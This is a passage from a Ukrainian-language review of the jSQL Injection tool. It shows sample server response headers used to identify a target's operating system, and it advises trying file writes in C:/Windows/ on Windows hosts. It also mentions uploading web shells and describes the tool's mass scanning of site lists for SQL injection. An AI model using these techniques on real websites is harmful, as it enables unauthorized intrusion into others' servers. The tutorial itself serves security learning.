    Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Connection: Keep-Alive Method: HTTP/1.1 200 OK Content-Length: 353 Date: Fri, 11 Dec 20 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; charset=UTF-8

    Тут у нас якийсь із Unix (*BSD, Linux):

    Transfer-Encoding: chunked Дата: Fri, 11 Dec 2015 11:57:02 GMT Метод: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Powered-By: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

    А тут у нас CentOS:

    Метод: HTTP/1.1 200 OK Expires: Thu, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Connection: keep-alive X-Cache-Lookup: MISS від t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS від t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Fri, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

    У Windows типовою папкою для сайтів є C:\Server\data\htdocs\. Але, насправді, якщо хтось «додумався» робити сервер на Windows, то, можливо, ця людина нічого не чула про привілеї. Тому починати спроби слід прямо з каталогу C:/Windows/:

    Як бачимо, все пройшло чудово з першого разу.

    Але самі шелли jSQL Injection у мене викликають сумніви. Якщо є файлові привілеї, то ви можете завантажити що-небудь з веб-інтерфейсом.

    8. Масова перевірка сайтів на SQL-ін'єкції

    І навіть ця функція є у jSQL Injection. Все дуже просто - завантажуєте список сайтів (можна імпортувати з файлу), вибираєте ті, які хочете перевірити та натискаєте відповідну кнопку для початку операції.

    Висновок з jSQL Injection

    jSQL Injection – хороший, потужний інструмент для пошуку та подальшого використання знайдених на сайтах SQL-ін'єкцій. Його безперечні плюси: простота використання, вбудовані супутні функції. jSQL Injection може стати найкращим другом новачка під час аналізу веб-сайтів.

    З недоліків я б наголосив на неможливості редагування баз даних (принаймні я цього функціоналу не знайшов). Як і всі інструменти з графічним інтерфейсом, до недоліків цієї програми можна приписати неможливість використання в скриптах. Проте деяка автоматизація можлива і в цій програмі завдяки вбудованій функції масової перевірки сайтів.

    Програмою jSQL Injection користуватися значно зручніше, ніж sqlmap. Але sqlmap підтримує більше видів SQL-ін'єкцій, має опції для роботи з файловими брандмауерами і деякі інші функції.

    Підсумок: jSQL Injection — найкращий друг хакера-початківця.

    Довідку з даної програми в Енциклопедії Kali Linux ви знайдете на цій сторінці: http://kali.tools/?p=706